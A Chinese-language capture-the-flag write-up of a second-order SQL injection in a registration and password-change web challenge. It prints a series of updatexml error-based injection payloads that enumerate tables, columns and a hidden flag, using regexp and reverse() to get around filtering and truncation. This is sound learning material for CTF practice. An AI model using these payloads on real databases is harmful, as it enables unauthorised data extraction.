初始頁面存在一個注冊界面和一個登入的界面
注冊一個新用戶,登入進去可以修改密碼,應該是二次注入
注冊的時候發現了一些詞被過濾掉了,fuzz了一下,過濾了部分字符
當注冊用戶為 admin“ 進行修改密碼時存在報錯
可以推出后台的sql語句為
update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'
因為存在報錯回顯,那么就可以直接用報錯注入
獲取表名
test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
獲取列名
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#
得到了一個假的flag
test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
真正的flag在users表中
但是要輸出數據的時候提示沒有存在該列,可以推測該列沒有被完全輸出
可以用regexp正則來匹配
test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
找到真正的保存flag的列,直接獲取數據
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#
得到了xxx,xxx,同樣用正則來匹配flag
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
打印出了前面的flag,后面還沒顯示出來,可以用reverse逆序輸出flag
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
得到逆序后的后部分flag,用python 的切片步長為-1得到正向的flag,然后拼接即可